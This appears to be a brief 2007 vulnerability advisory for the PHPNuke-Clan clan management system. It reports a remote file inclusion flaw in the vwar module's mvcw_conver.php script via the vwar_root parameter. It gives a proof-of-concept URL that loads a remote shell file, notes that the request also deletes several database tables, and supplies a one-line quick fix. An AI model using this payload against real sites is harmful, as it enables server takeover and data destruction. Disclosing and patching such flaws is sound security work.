[!] Discovered: DNX
[!] Vendor: http://www.phpnuke-clan.net
[!] Detected: 11.08.2007
[!] Reported: 11.08.2007
[!] Remote: yes

[!] Background: PHPNuke-Clan is a clan management system based on PHP and MySQL

[!] Bug: $vwar_root in modules/vwar/convert/mvcw_conver.php

[!] PoC:
    - http://[site]/[path]/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=[shell]

[!] Example:
    - http://127.0.0.1/pnc/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http//127.0.0.1/shell.txt?

[!] Warning: "step=1" deletes all data from the tables vwar, vwar_opponents,
    vwar_scores and vwar_screen in the database

[!] Solution: No update from vendor till now

[!] Quick fix in modules/vwar/convert/mvcw_conver.php line 79:
    - replace:
	if ($GPC['step'] == 1)
	{
		// clean tables

    - with:
	if ($GPC['step'] == 1)
	{
		$vwar_root = "./../";
		// clean tables
